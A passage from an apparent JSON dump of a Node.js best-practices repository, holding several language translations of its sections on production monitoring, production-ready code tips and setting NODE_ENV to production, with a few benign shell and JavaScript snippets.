cloud vendor monitoring solutions (e.g. [AWS CloudWatch](https://aws.amazon.com/cloudwatch/), [Google StackDriver](https://cloud.google.com/stackdriver/)) will tell you immediately about the hardware metrics but not about the internal app behavior. On the other end, Log-based solutions such as ElasticSearch lack the hardware view by default. The solution is to augment your choice with missing metrics, for example, a popular choice is sending application logs to [Elastic stack](https://www.elastic.co/products) and configure some additional agent (e.g. [Beat](https://www.elastic.co/products)) to share hardware-related information to get the full picture.\r\n\r\n<br/><br/>\r\n\r\n### Monitoring example: AWS cloudwatch default dashboard. Hard to extract in-app metrics\r\n\r\n![AWS cloudwatch default dashboard. Hard to extract in-app metrics](../../assets/images/monitoring1.png)\r\n\r\n<br/><br/>\r\n\r\n### Monitoring example: StackDriver default dashboard. Hard to extract in-app metrics\r\n\r\n![StackDriver default dashboard. Hard to extract in-app metrics](../../assets/images/monitoring2.jpg)\r\n\r\n<br/><br/>\r\n\r\n### Monitoring example: Grafana as the UI layer that visualizes raw data\r\n\r\n![Grafana as the UI layer that visualizes raw data](../../assets/images/monitoring3.png)\r\n\r\n<br/><br/>\r\n\r\n### What Other Bloggers Say\r\n\r\nFrom the blog [Rising Stack](https://blog.risingstack.com/node-js-performance-monitoring-with-prometheus/):\r\n\r\n> …We recommend you to watch these signals for all of your services:\r\n> Error Rate: Because errors are user facing and immediately affect your customers.\r\n> Response time: Because the latency directly affects your customers and business.\r\n> Throughput: The traffic helps you to understand the context of increased error rates and the latency too.\r\n> Saturation: It tells how “full” your service is. If the CPU usage is 90%, can your system handle more traffic? …\r\n"
  },
  {
    "path": "sections/production/monitoring.polish.md",
    "content": "# Monitorowanie!\n\n<br/><br/>\n\n### Wyjaśnienie jednym akapitem\n\nNa bardzo podstawowym poziomie monitorowanie oznacza *łatwe* rozpoznanie, kiedy coś złego dzieje się na produkcji. Na przykład, otrzymując powiadomienie e-mailem lub Slack. Wyzwanie polega na wybraniu odpowiedniego zestawu narzędzi, które spełnią Twoje wymagania bez rozbijania banku. Mogę zasugerować, zacznij od zdefiniowania podstawowego zestawu wskaźników, które należy obserwować, aby zapewnić zdrowy stan - procesor, pamięć RAM serwera, pamięć RAM procesu węzła (mniej niż 1,4 GB), liczba błędów w ostatniej chwili, liczba ponownych uruchomień procesu, średni czas reakcji. Następnie zapoznaj się z zaawansowanymi funkcjami, które mogą ci się spodobać, i dodaj do swojej listy życzeń. Niektóre przykłady luksusowej funkcji monitorowania: profilowanie BD, pomiar między usługami (tj. mierzenie transakcji biznesowej), integracja frontendu, udostępnianie surowych danych niestandardowym klientom BI, powiadomienia Slack i wiele innych.\n\nOsiągnięcie zaawansowanych funkcji wymaga długiej konfiguracji lub zakupu komercyjnego produktu, takiego jak Datadog, NewRelic i tym podobne. Niestety, osiągnięcie nawet podstaw nie jest spacerem w parku, ponieważ niektóre metryki są związane ze sprzętem (CPU), a inne żyją w procesie węzła (błędy wewnętrzne), dlatego wszystkie proste narzędzia wymagają dodatkowej konfiguracji. Na przykład rozwiązania do monitorowania dostawców w chmurze (np. [AWS CloudWatch](https://aws.amazon.com/cloudwatch/), [Google StackDriver](https://cloud.google.com/stackdriver/)) poinformują Cię natychmiast o metrykach sprzętowych, ale nie o wewnętrznym zachowaniu aplikacji. Z drugiej strony w rozwiązaniach opartych na logach, takich jak ElasticSearch, domyślnie brakuje widoku sprzętu. Rozwiązaniem jest zwiększenie wyboru o brakujące dane, na przykład popularnym wyborem jest wysyłanie dzienników aplikacji do [Elastic stack](https://www.elastic.co/products) i konfigurowanie dodatkowego agenta (np. [Beat](https://www.elastic.co/products)) w celu udostępnienia informacji związanych ze sprzętem w celu uzyskania pełnego obrazu.\n\n<br/><br/>\n\n### Przykład monitorowania: domyślny pulpit nawigacyjny AWS Cloudwatch. Trudno wyodrębnić dane w aplikacji\n\n![AWS cloudwatch default dashboard. Hard to extract in-app metrics](../../assets/images/monitoring1.png)\n\n<br/><br/>\n\n### Przykład monitorowania: domyślny pulpit nawigacyjny StackDriver. Trudno wyodrębnić dane w aplikacji\n\n![StackDriver default dashboard. Hard to extract in-app metrics](../../assets/images/monitoring2.jpg)\n\n<br/><br/>\n\n### Przykład monitorowania: Grafana jako warstwa interfejsu użytkownika, która wizualizuje surowe dane\n\n![Grafana as the UI layer that visualizes raw data](../../assets/images/monitoring3.png)\n\n<br/><br/>\n\n### Co mówią inni blogerzy\n\nZ bloga [Rising Stack](https://blog.risingstack.com/node-js-performance-monitoring-with-prometheus/):\n\n> …We recommend you to watch these signals for all of your services:\n> Error Rate: Because errors are user facing and immediately affect your customers.\n> Response time: Because the latency directly affects your customers and business.\n> Throughput: The traffic helps you to understand the context of increased error rates and the latency too.\n> Saturation: It tells how “full” your service is. If the CPU usage is 90%, can your system handle more traffic? …\n"
  },
  {
    "path": "sections/production/monitoring.russian.md",
    "content": "# Мониторинг!\r\n\r\n<br/><br/>\r\n\r\n### Объяснение в один абзац\r\n\r\nНа самом базовом уровне мониторинг означает, что вы можете *легко* определить, когда на производстве происходят плохие вещи. Например, получая уведомления по электронной почте или Slack. Задача состоит в том, чтобы выбрать правильный набор инструментов, который удовлетворит ваши требования, не нарушая ваш банк. Позвольте мне начать с определения базового набора метрик, которые необходимо отслеживать для обеспечения работоспособного состояния - ЦП, ОЗУ сервера, ОЗУ процесса узла (менее 1,4ГБ), количество ошибок в последнюю минуту, количество перезапусков процесса, среднее время ответа. Затем перейдите к некоторым дополнительным функциям, которые вам могут понравиться, и добавьте их в свой список пожеланий. Некоторые примеры функции мониторинга класса \"люкс\": профилирование БД, межсервисное измерение (то есть измерение бизнес-транзакций), интеграция с внешним интерфейсом, предоставление необработанных данных для пользовательских клиентов BI, уведомления Slack и многие другие.\r\n\r\nДля реализации расширенных функций требуется длительная настройка или покупка коммерческого продукта, такого как Datadog, NewRelic и тому подобное. К сожалению, достижение даже базовых знаний - это не прогулка в парке, поскольку некоторые метрики связаны с аппаратным обеспечением (ЦП), а другие живут в процессе узла (внутренние ошибки), поэтому все простые инструменты требуют некоторой дополнительной настройки. Например, решения мониторинга облачных поставщиков (например, [AWS CloudWatch](https://aws.amazon.com/cloudwatch/), [Google StackDriver](https://cloud.google.com/stackdriver/)) скажут вам непосредственно о метриках оборудования, но не о внутреннем поведении приложения. С другой стороны, решениям на основе журнала, таким как ElasticSearch, по умолчанию не хватает аппаратного представления. Решение состоит в том, чтобы дополнить ваш выбор отсутствующими метриками, например, популярным выбором является отправка журналов приложений в [Elastic stack](https://www.elastic.co/products) и настройка некоторого дополнительного агента (например, [Beat]( https://www.elastic.co/products)) для обмена информацией об оборудовании, чтобы получить полную картину.\r\n\r\n<br/><br/>\r\n\r\n### Пример мониторинга: панель инструментов AWS cloudwatch по умолчанию. Трудно извлечь метрики в приложении\r\n\r\n![AWS cloudwatch default dashboard. Hard to extract in-app metrics](../../assets/images/monitoring1.png)\r\n\r\n<br/><br/>\r\n\r\n### Пример мониторинга: панель мониторинга по умолчанию для StackDriver. Трудно извлечь метрики в приложении\r\n\r\n![StackDriver default dashboard. Hard to extract in-app metrics](../../assets/images/monitoring2.jpg)\r\n\r\n<br/><br/>\r\n\r\n### Пример мониторинга: Grafana как слой пользовательского интерфейса, который визуализирует необработанные данные\r\n\r\n![Grafana as the UI layer that visualizes raw data](../../assets/images/monitoring3.png)\r\n\r\n<br/><br/>\r\n\r\n### Что говорят другие блоггеры\r\n\r\nИз блога [Rising Stack](https://blog.risingstack.com/node-js-performance-monitoring-with-prometheus/):\r\n\r\n> … Мы рекомендуем вам смотреть эти сигналы для всех ваших услуг:\r\n> Частота ошибок: потому что ошибки связаны с пользователем и сразу же влияют на ваших клиентов.\r\n> Время отклика: потому что задержка напрямую влияет на ваших клиентов и бизнес.\r\n> Пропускная способность: трафик помогает вам понять контекст повышенной частоты ошибок и задержки.\r\n> Нагрузка: говорит о том, насколько \"нагружен\" ваш сервис. Если загрузка процессора составляет 90%, может ли ваша система обрабатывать больше трафика? ...\r\n"
  },
  {
    "path": "sections/production/productioncode.basque.md",
    "content": "# Neurtu eta zaindu memoriaren erabilera\r\n\r\n<br/><br/>\r\n\r\n### Azalpena\r\n\r\nHona hemen produkzioaren mantentzean eta egonkortasunean asko eragiten duten garapen aholkuen zerrenda:\r\n\r\n- Hamabi faktoreen gida: ezagutu [hamabi faktoreen](https://12factor.net/) gida\r\n- Izan aberrigabea: ez gorde daturik tokiko web zerbitzari jakin batean (ikusi buleta bereizia: 'Izan aberrigabea)\r\n- Cachea: erabili asko cachea, baina inoiz ez huts eragin cache ez datorrelako bat\r\n- Probatu memoria: neurtu memoriaren erabilera eta ihesak zure garapen fluxuaren zati gisa; \"memwatch\" bezalako tresnek asko erraz dezakete zeregin hori\r\n- Izen funtzioak: gutxitu funtzio anonimoen erabilera (hau da, lineako deiak itzultzea), memoria profilatzaile tipiko batek metodoaren izen bakoitzeko memoria erabiliko baitu\r\n- Erabili CI tresnak: erabili CI tresna hutsegiteak antzemateko produkziora bidali aurretik. Adibidez, erabili ESLint erreferentzia erroreak eta zehaztu gabeko aldagaiak antzemateko. Erabili –trace-sync-io API sinkronoak erabiltzen dituen kodea identifikatzeko (bertsio asinkronoaren ordez)\r\n- Erregistratze zentzuzkoa: sartu egunkari adierazpen bakoitzean testuinguruaren informazioa ahal baduzu JSON formatuan, Elastic bezalako erregistroen tresnek propietate horiek bilatu ahal ditzaten (ikusi buleta bereizia 'Areagotu ikusgarritasuna erregistro adimendunak erabiliz'). Gainera, sartu eskaera bakoitza identifikatzen duen eta transakzioa deskribatzen duten lerroak erlazionatzeko aukera ematen duen transakzio IDa (ikusi buleta bereizia: 'Sartu Transakzio IDa')\r\n- Akatsen kudeaketa: erroreen tratamendua Akilesen orpoa da Node.js ekoizpen guneetan. Noderen prozesu asko blokeatzen dira errore txikien ondorioz, beste batzuek bizirik jarraitzen duten bitartean errore egoeran, huts egin beharrean. Oso garrantzitsua da erabakitzea zer estrategia jarraituko duzun erroreak kudeatzeko. Irakurri hemen nire [praktika onak erroreak kudeatzeko](http://goldbergyoni.com/checklist-best-practices-of-node-js-error-handling/)\r\n"
  },
  {
    "path": "sections/production/productioncode.brazilian-portuguese.md",
    "content": "# Deixe seu código pronto para produção\r\n\r\n<br/><br/>\r\n\r\n### Explicação em um Parágrafo\r\n\r\nA seguir, uma lista de dicas de desenvolvimento que afetam significativamente a manutenção e a estabilidade da produção:\r\n\r\n* O guia de doze fatores - Familiarize-se com o guia [Doze fatores](https://12factor.net/)\r\n* Seja sem estado - Não salve dados localmente em um servidor Web específico (veja o marcador separado - \"Seja sem estado\")\r\n* Cache - Utilize o cache intensamente, mas nunca falhe por causa da incompatibilidade de cache\r\n* Teste de memória - calibre o uso de memória e vazamentos como parte do seu fluxo de desenvolvimento, ferramentas como \"memwatch\" podem facilitar muito essa tarefa\r\n* Funções de nome - Minimize o uso de funções anônimas (ou seja, callbacks em linha), pois um perfilador de memória típico fornecerá uso de memória por nome de função\r\n* Use ferramentas CI - Use ferramentas CI para detectar falhas antes de enviar para produção. Por exemplo, use o ESLint para detectar erros de referência e variáveis ​​indefinidas. Use –trace-sync-io para identificar o código que usa APIs síncronas (em vez da versão assíncrona)\r\n* Registre sabiamente - Inclua em cada informação contextual da declaração de log, esperançosamente no formato JSON, para que as ferramentas de agregadores de log, como o Elastic, possam pesquisar nessas propriedades (veja o marcador separado - \"Aumentar a visibilidade usando logs inteligentes\"). Além disso, inclua o ID da transação que identifica cada solicitação e permite correlacionar linhas que descrevem a mesma transação (veja o marcador separado - \"Incluir ID da transação\")\r\n* Gerenciamento de erros - O tratamento de erros é o calcanhar de Aquiles dos sites de produção do Node.js - muitos processos do Node estão travando devido a pequenos erros, enquanto outros persistem em um estado defeituoso em vez de travar. Definir a sua estratégia de tratamento de erros é absolutamente essencial, leia aqui as minhas [práticas recomendadas de tratamento de erros](http://goldbergyoni.com/checklist-best-practices-of-node-js-error-handling/)\r\n"
  },
  {
    "path": "sections/production/productioncode.chinese.md",
    "content": "# 代码生产环境的准备\r\n\r\n<br/><br/>\r\n\r\n\r\n### 一段解释\r\n\r\n以下是一个开发技巧的列表，它极大地影响了产品的维护和稳定性：\r\n\r\n* 十二因素指南 — 熟悉[12因素](https://12factor.net/)指南\r\n* 无状态 — 在一个特定的web服务器上不保存本地数据（请参阅相关条目 - “Be Stateless”）\r\n* 高速缓存 — 大量使用缓存，但不会因为缓存不匹配而产生错误\r\n* 测试内存 — 测量内存的使用和泄漏，是作为开发流程的一部分，诸如“memwatch”之类的工具可以极大地促进这一任务\r\n* 命名函数 — 将匿名函数(例如，内联callbabk)的使用最小化，因为一个典型的内存分析器为每个方法名提供内存使用情况\r\n* 使用CI工具 — 在发送到生产前使用CI工具检测故障。例如，使用ESLint来检测引用错误和未定义的变量。使用–trace-sync-io来识别用了同步api的代码(而不是异步版本)\r\n* 明确的日志 — 包括在每个日志语句中希望用json格式记录上下文信息，以便于日志聚合工具，如Elastic可以在这些属性上搜索(请参阅相关条目 – “Increase visibility using smart logs”)。此外，还包括标识每个请求的事务id，并允许将描述相同事务的行关联起来(请参阅 — “Include Transaction-ID”)\r\n*  错误管理 — 错误处理是Node.js生产站点的致命弱点 – 许多Node进程由于小错误而崩溃，然而其他Node进程则会在错误的状态下存活，而不是崩溃。设置你的错误处理策略绝对是至关重要的, 在这里阅读我的(错误处理的最佳实践)(http://goldbergyoni.com/checklist-best-practices-of-node-js-error-handling/)"
  },
  {
    "path": "sections/production/productioncode.french.md",
    "content": "# Préparez votre code pour la production\n\n<br/><br/>\n\n### Un paragraphe d'explication\n\nVoici une liste de conseils de développement qui ont un impact important sur la maintenance et la stabilité de la production :\n\n* Le guide douze facteurs – Familiarisez-vous avec le guide [Douze facteurs](https://12factor.net/fr/)\n* Soyez sans état – N'enregistrez aucune donnée localement sur un serveur web spécifique (consultez le point – « Soyez sans état »)\n* Mettez en cache – Utilisez beaucoup le cache, mais ne faites jamais échouer en raison de la non-concordance du cache\n* Testez la mémoire – Mesurez l'utilisation de la mémoire et les fuites dans le cadre de votre flux de développement, des outils tels que « memwatch » peuvent grandement faciliter cette tâche\n* Nommez les fonctions – Minimisez l'utilisation des fonctions anonymes (c'est à dire de fonction de rappel en ligne) car un profileur de mémoire classique fournit l'utilisation de la mémoire avec le nom de la méthode\n* Utilisez les outils CI – Utilisez l'outil CI pour détecter les échecs avant d'envoyer en production. Par exemple, utilisez ESLint pour détecter les erreurs de référence et les variables non définies. Utilisez –trace-sync-io pour identifier le code qui utilise des API synchrones (au lieu de la version asynchrone)\n* Journalisez à bon escient – Incluez dans le journal des informations contextuelles pour chaque instruction, si possible au format JSON, afin que les outils d'agrégation de journaux tels qu'Elastic puissent rechercher ces propriétés (consultez le point - « Augmentez la clarté à l'aide de la journalisation intelligente »). Incluez également l'ID de transaction qui identifie chaque requête et permet de corréler les lignes qui décrivent la même transaction (consultez le point - « Attribuez un ID de transaction à chaque relevé du journal »)\n* Gérez les erreurs – La gestion des erreurs est le talon d'Achille des sites de production de Node.js - de nombreux processus Node se bloquent en raison d'erreurs mineures tandis que d'autres restent en vie dans un état défectueux au lieu de se bloquer. La définition de votre stratégie de traitement des erreurs est absolument essentielle, lisez ici mes [meilleures pratiques de gestion des erreurs](http://goldbergyoni.com/checklist-best-practices-of-node-js-error-handling/)\n"
  },
  {
    "path": "sections/production/productioncode.japanese.md",
    "content": "# コードを本番に即したものにする\r\n\r\n<br/><br/>\r\n\r\n### 一段落説明\r\n\r\n以下は、プロダクションのメンテナンスと安定性に大きく影響する開発のヒントのリストです。:\r\n\r\n* 12要素ガイド – [12要素](https://12factor.net/)のガイドに慣れる\r\n* ステートレスであれ – 特定の Web サーバーにデータをローカルに保存しない (別箇条を参照してください – 「ステートレスであれ」)\r\n* キャッシュ – キャッシュを多用しているが、キャッシュの不一致で失敗することはない\r\n* テストメモリ – 開発フローの一部としてメモリ使用量やリークを測定し、「memwatch」などのツールがこのタスクを大幅に促進します。\r\n* 関数に名前をつける – 一般的なメモリプロファイラでは、メソッド名ごとにメモリ使用量が表示されるため、匿名関数（インラインコールバックなど）の使用を最小限に抑えます。\r\n* CI ツールを使用する – CI ツールを使って、本番に送る前に失敗を検出する。例えば、ESLint を使って参照エラーや未定義変数を検出します。同期 API を使用するコードを識別するために -trace-sync-io を使用します (非同期バージョンではなく)。\r\n* 賢くログを取る – Elastic のようなログアグリゲータツールがそれらのプロパティを検索できるように、各ログ文にコンテキスト情報を含めて、できれば JSON 形式で表示してください(別項「スマートログを使った可視性の向上」を参照)。また、各リクエストを識別するトランザクション ID を含め、同じトランザクションを記述する行を関連付けることができます(別項の「トランザクション ID を含める」を参照)。\r\n* エラー管理 – エラー処理は Node.js プロダクションサイトのアキレス腱です。 – 多くのノードプロセスは小さなエラーのためにクラッシュしていますが、他のプロセスはクラッシュせずに障害のある状態で生き残っています。エラー処理戦略を設定することは絶対に重要です。私の [エラー処理のベストプラクティス](http://goldbergyoni.com/checklist-best-practices-of-node-js-error-handling/) を読んでください。\r\n"
  },
  {
    "path": "sections/production/productioncode.korean.md",
    "content": "# Make your code production-ready\r\n\r\n<br/><br/>\r\n\r\n### One Paragraph Explainer\r\n\r\nFollowing is a list of development tips that greatly affect the production maintenance and stability:\r\n\r\n* The twelve-factor guide – Get familiar with the [Twelve factors](https://12factor.net/) guide\r\n* Be stateless – Save no data locally on a specific web server (see separate bullet – ‘Be Stateless’)\r\n* Cache – Utilize cache heavily, yet never fail because of cache mismatch\r\n* Test memory – gauge memory usage and leaks as part your development flow, tools such as ‘memwatch’ can greatly facilitate this task\r\n* Name functions – Minimize the usage of anonymous functions (i.e. inline callback) as a typical memory profiler will provide memory usage per method name\r\n* Use CI tools – Use CI tool to detect failures before sending to production. For example, use ESLint to detect reference errors and undefined variables. Use –trace-sync-io to identify code that uses synchronous APIs (instead of the async version)\r\n* Log wisely – Include in each log statement contextual information, hopefully in JSON format so log aggregators tools such as Elastic can search upon those properties (see separate bullet – ‘Increase visibility using smart logs’). Also, include transaction-id that identifies each request and allows to correlate lines that describe the same transaction (see separate bullet – ‘Include Transaction-ID’)\r\n* Error management – Error handling is the Achilles’ heel of Node.js production sites – many Node processes are crashing because of minor errors while others hang on alive in a faulty state instead of crashing. Setting your error handling strategy is absolutely critical, read here my [error handling best practices](http://goldbergyoni.com/checklist-best-practices-of-node-js-error-handling/)\r\n"
  },
  {
    "path": "sections/production/productioncode.md",
    "content": "# Make your code production-ready\r\n\r\n<br/><br/>\r\n\r\n### One Paragraph Explainer\r\n\r\nFollowing is a list of development tips that greatly affect the production maintenance and stability:\r\n\r\n- The twelve-factor guide – Get familiar with the [Twelve factors](https://12factor.net/) guide\r\n- Be stateless – Save no data locally on a specific web server (see separate bullet – ‘Be Stateless’)\r\n- Cache – Utilize cache heavily, yet never fail because of cache mismatch\r\n- Test memory – gauge memory usage and leaks as part your development flow, tools such as ‘memwatch’ can greatly facilitate this task\r\n- Name functions – Minimize the usage of anonymous functions (i.e. inline callback) as a typical memory profiler will provide memory usage per method name\r\n- Use CI tools – Use CI tool to detect failures before sending to production. For example, use ESLint to detect reference errors and undefined variables. Use –trace-sync-io to identify code that uses synchronous APIs (instead of the async version)\r\n- Log wisely – Include in each log statement contextual information, hopefully in JSON format so log aggregators tools such as Elastic can search upon those properties (see separate bullet – ‘Increase visibility using smart logs’). Also, include transaction-id that identifies each request and allows to correlate lines that describe the same transaction (see separate bullet – ‘Include Transaction-ID’)\r\n- Test like production - Make developers machine quite close to the production infrastructure (e.g., with Docker-Compose). Avoid if/else clauses in testing that check if we're in testing environment but rather run the same code always\r\n- Error management – Error handling is the Achilles’ heel of Node.js production sites – many Node processes are crashing because of minor errors while others hang on alive in a faulty state instead of crashing. Setting your error handling strategy is absolutely critical, read here my [error handling best practices](http://goldbergyoni.com/checklist-best-practices-of-node-js-error-handling/)\r\n"
  },
  {
    "path": "sections/production/productioncode.polish.md",
    "content": "# Przygotuj kod do produkcji\n\n<br/><br/>\n\n### Wyjaśnienie jednym akapitem\n\nPoniżej znajduje się lista wskazówek programistycznych, które znacznie wpływają na utrzymanie produkcji i stabilność:\n\n* Dwunastoczęściowy przewodnik - zapoznaj się z przewodnikiem [Dwanaście czynników](https://12factor.net/)\n* Bądź bezstanowy - nie zapisuj danych lokalnie na określonym serwerze internetowym (patrz oddzielny punkt - „Bądź bezstanowy”)\n* Pamięć podręczna - mocno wykorzystuj pamięć podręczną, ale nigdy nie zawiedzie z powodu niedopasowania pamięci podręcznej\n* Pamięć testowa - mierzy zużycie pamięci i wycieki w ramach rozwoju, narzędzia takie jak „memwatch” mogą znacznie ułatwić to zadanie\n* Funkcje nazw - zminimalizuj użycie funkcji anonimowych (tj. wbudowane wywołanie zwrotne), ponieważ typowy profiler pamięci zapewni użycie pamięci według nazwy metody\n* Użyj narzędzi CI - użyj narzędzia CI do wykrywania awarii przed wysłaniem do produkcji. Na przykład użyj ESLint do wykrywania błędów odniesienia i niezdefiniowanych zmiennych. Użyj –trace-sync-io, aby zidentyfikować kod korzystający z synchronicznych interfejsów API (zamiast wersji asynchronicznej)\n* Loguj mądrze - dołącz do każdej informacji kontekstowej instrukcji dziennika, miejmy nadzieję w formacie JSON, aby narzędzia agregujące logi, takie jak Elastic, mogły przeszukiwać te właściwości (patrz oddzielny punkt - „Zwiększ widoczność za pomocą inteligentnych logów”). Dołącz także identyfikator transakcji, który identyfikuje każde żądanie i pozwala na korelację wierszy opisujących tę samą transakcję (patrz oddzielny punkt - „Dołącz identyfikator transakcji”)\n* Zarządzanie błędami - obsługa błędów to pięta achillesowa witryn produkcyjnych Node.js - wiele procesów Node ulega awarii z powodu drobnych błędów, podczas gdy inne zawieszają się żywe w wadliwym stanie zamiast awarii. Ustawienie strategii obsługi błędów jest absolutnie niezbędne, przeczytaj tutaj moje [najlepsze praktyki obsługi błędów](http://goldbergyoni.com/checklist-best-practices-of-node-js-error-handling/)\n"
  },
  {
    "path": "sections/production/productioncode.russian.md",
    "content": "# Делайте ваш код готовым к работе\r\n\r\n<br/><br/>\r\n\r\n### Объяснение в один абзац\r\n\r\nНиже приведен список советов по разработке, которые сильно влияют на обслуживание и стабильность производства:\r\n\r\n* Руководство по двенадцати факторам - ознакомьтесь с руководством [Twelve factors](https://12factor.net/)\r\n* Будьте вне сохранения состояния - не сохраняйте данные локально на определенном веб-сервере (см. отдельную рекомендацию - \"Будьте без сохранения\")\r\n* Кэш - интенсивно используйте кэш, но никогда не выходите из строя из-за несоответствия кеша\r\n* Проверка памяти - измеряйте использование памяти и утечки как часть процесса разработки, такие инструменты, как \"memwatch\", могут значительно облегчить эту задачу\r\n* Имя функции - Минимизируйте использование анонимных функций (т.е. встроенный обратный вызов), поскольку типичный профилировщик памяти обеспечит использование памяти для имени метода\r\n* Используйте инструменты CI - используйте инструмент CI для обнаружения сбоев перед отправкой в ​​производство. Например, используйте ESLint для обнаружения ошибок ссылок и неопределенных переменных. Используйте –trace-sync-io для определения кода, который использует синхронные API (вместо асинхронной версии)\r\n* Разумно логируйте - включайте в каждый оператор журнала контекстную информацию, возможно, в формате JSON, чтобы средства агрегирования журналов, такие как Elastic, могли осуществлять поиск по этим свойствам (см. отдельную рекомендацию - \"Увеличьте видимость с помощью умных журналов\"). Кроме того, включите идентификатор транзакции, который идентифицирует каждый запрос и позволяет сопоставить строки, описывающие одну и ту же транзакцию (см. отдельную рекомендацию - \"Включить идентификатор транзакции\")\r\n* Управление ошибками - обработка ошибок - это ахиллесова пята реальных сайтов Node.js - многие процессы Node завершаются сбоем из-за незначительных ошибок, в то время как другие зависают в аварийном состоянии вместо сбоя. Настройка вашей стратегии обработки ошибок является абсолютно критической, прочитайте здесь мои [error handling best practices](http://goldbergyoni.com/checklist-best-practices-of-node-js-error-handling/)\r\n"
  },
  {
    "path": "sections/production/setnodeenv.basque.md",
    "content": "# Ezarri NODE_ENV = produkzioa\r\n\r\n<br/><br/>\r\n\r\n### Azalpena\r\n\r\nProzesuaren ingurune aldagaiak balio giltzen bikoteen multzo bat dira, eskuarki ezarpenetan erabiltzen direnak eta exekutatzen ari den edozein programatan eskuragarri daudenak.\r\nEdozein aldagai erabil daitekeen arren, Nodek NODE_ENV izeneko aldagaia erabilera bultzatzen du, oraintxe bertan ekoizten ari garen ala ez adierazteko. Determinazio horri esker, osagaiek diagnostiko hobeak egin ditzakete garapenean zehar, adibidez cachea desgaituz edo hitz erregistroen adierazpenak igorriz. Edozein ezarpen tresna modernok (Chef, Puppet, CloudFormation, besteak) inguruneko aldagaiak ezartzea onartzen du hedapenean.\r\n\r\n<br/><br/>\r\n\r\n### Kode adibidea: NODE_ENV ingurumen aldagaia ezarri eta irakurtzea\r\n\r\n```shell script\r\n// Ingurumen aldagaiak bash-en ezarri node prozesua hasi aurretik\r\n$ NODE_ENV=development\r\n$ node\r\n```\r\n\r\n```javascript\r\n// Kodea erabiliz ingurumen aldagaia irakurri\r\nif (process.env.NODE_ENV === \"production\") useCaching = true;\r\n```\r\n\r\n<br/><br/>\r\n\r\n### Beste blogari batzuek diotena\r\n\r\n[Dynatrace](https://www.dynatrace.com/blog/the-drastic-effects-of-omitting-node_env-in-your-express-js-applications/) bloga:\r\n\r\n> ...Node.jsk badu uneko modua ezartzean NODE_ENV izeneko aldagaia erabiltzeko konbentzioa. Izan ere, NODE_ENV irakurtzen du eta, konfiguratuta ez badago, 'garapena' ezarpena lehenesten dio. Argi ikusten dugu NODE_ENV ekoizpenean ezartzean, Node.jsk kudea dezakeen eskaera kopurua bi heren inguruko hazkundea duela PUZaren erabilera zertxobait jaisten den bitartean. _Azpimarratu beharra dago NODE_ENV ekoizpenean ezartzeak zure aplikazioa 3 aldiz azkarragoa bihurtzen duela._\r\n\r\n![NODE_ENV=produkzioa](../../assets/images/setnodeenv1.png \"NODE_ENV=produkzioa\")\r\n\r\n<br/><br/>\r\n"
  },
  {
    "path": "sections/production/setnodeenv.brazilian-portuguese.md",
    "content": "#  Defina NODE_ENV = production\r\n\r\n<br/><br/>\r\n\r\n### Explicação em um Parágrafo\r\n\r\nVariáveis ​​de ambiente de processo são um conjunto de pares de valores-chave disponibilizados para qualquer programa em execução, geralmente para propósitos de configuração. Embora quaisquer variáveis ​​possam ser usadas, o Node incentiva a convenção de usar uma variável chamada NODE_ENV para sinalizar se estamos em produção no momento. Essa determinação permite que os componentes forneçam diagnósticos melhores durante o desenvolvimento, por exemplo, desativando o armazenamento em cache ou emitindo instruções de log detalhadas. Qualquer ferramenta de implantação moderna - Chef, Puppet, CloudFormation, outros - suporta a configuração de variáveis ​​de ambiente durante a implantação.\r\n\r\n<br/><br/>\r\n\r\n### Exemplo de código: definindo e lendo a variável de ambiente NODE_ENV\r\n\r\n```javascript\r\n// Configurando variáveis ​​de ambiente no bash antes de iniciar o processo do Node\r\n$ NODE_ENV=development\r\n$ node\r\n\r\n// Lendo a Variável de Ambiente Usando Código\r\nif (process.env.NODE_ENV === “production”)\r\n    useCaching = true;\r\n```\r\n\r\n<br/><br/>\r\n\r\n### O que Outros Blogueiros Dizem\r\n\r\nDo blog [dynatrace](https://www.dynatrace.com/blog/the-drastic-effects-of-omitting-node_env-in-your-express-js-applications/):\r\n> ...No Node.js há uma convenção para usar uma variável chamada NODE_ENV para definir o modo atual. Vimos que, de fato, NODE_ENV é lida e o padrão é \"development\", se não estiver definido. Observamos claramente que, configurando NODE_ENV para produção, o número de requisições que o Node.js pode manipular aumenta em cerca de dois terços, enquanto o uso da CPU cai um pouco. Deixe-me enfatizar isso: A configuração NODE_ENV para produção torna sua aplicação 3 vezes mais rápida!*\r\n\r\n![NODE_ENV=production](../../assets/images/setnodeenv1.png \"NODE_ENV=production\")\r\n\r\n<br/><br/>\r\n"
  },
  {
    "path": "sections/production/setnodeenv.chinese.md",
    "content": "# 配置环境变量 NODE_ENV = production\r\n\r\n<br/><br/>\r\n\r\n\r\n### 一段解释\r\n\r\n进程的环境变量是一组键值对，可用于任何运行程序，通常用于配置。虽然可以使用其他任何变量，但Node鼓励使用一个名为NODE_ENV的变量来标记我们是否正在开发。这一决定允许组件在开发过程中能提供更好的诊断，例如禁用缓存或发出冗长的日志语句。任何现代部署工具 — Chef、Puppet、CloudFormation等 — 在部署时都支持设置环境变量。\r\n\r\n<br/><br/>\r\n\r\n\r\n### 代码实例：配置和读取NODE_ENV环境变量\r\n\r\n```javascript\r\n//在启动node进程前，在bash中设置环境变量\r\n$ NODE_ENV=development\r\n$ node\r\n \r\n//使用代码读取环境变量\r\nIf(process.env.NODE_ENV === “production”)\r\n    useCaching = true;\r\n```\r\n\r\n<br/><br/>\r\n\r\n\r\n### 其他博主说了什么\r\n摘自这篇博客[dynatrace](https://www.dynatrace.com/blog/the-drastic-effects-of-omitting-node_env-in-your-express-js-applications/):\r\n> ...在node.js中有一个约定， 它使用名为NODE_ENV的变量来设置当前工作模式。我们看到它实际上是读取NODE_ENV，如果它没有设置，则默认为“development”。我们清楚的看到，通过设置NODE_ENV为production，node.js可以处理请求的数量可以提高大约三分之二，而CPU的使用率会略有下降。 *让我强调一下:设置NODE_ENV为production可以让你的应用程序快3倍!*\r\n\r\n\r\n![NODE_ENV=production](../../assets/images/setnodeenv1.png \"NODE_ENV=production\")\r\n\r\n\r\n<br/><br/>\r\n\r\n"
  },
  {
    "path": "sections/production/setnodeenv.french.md",
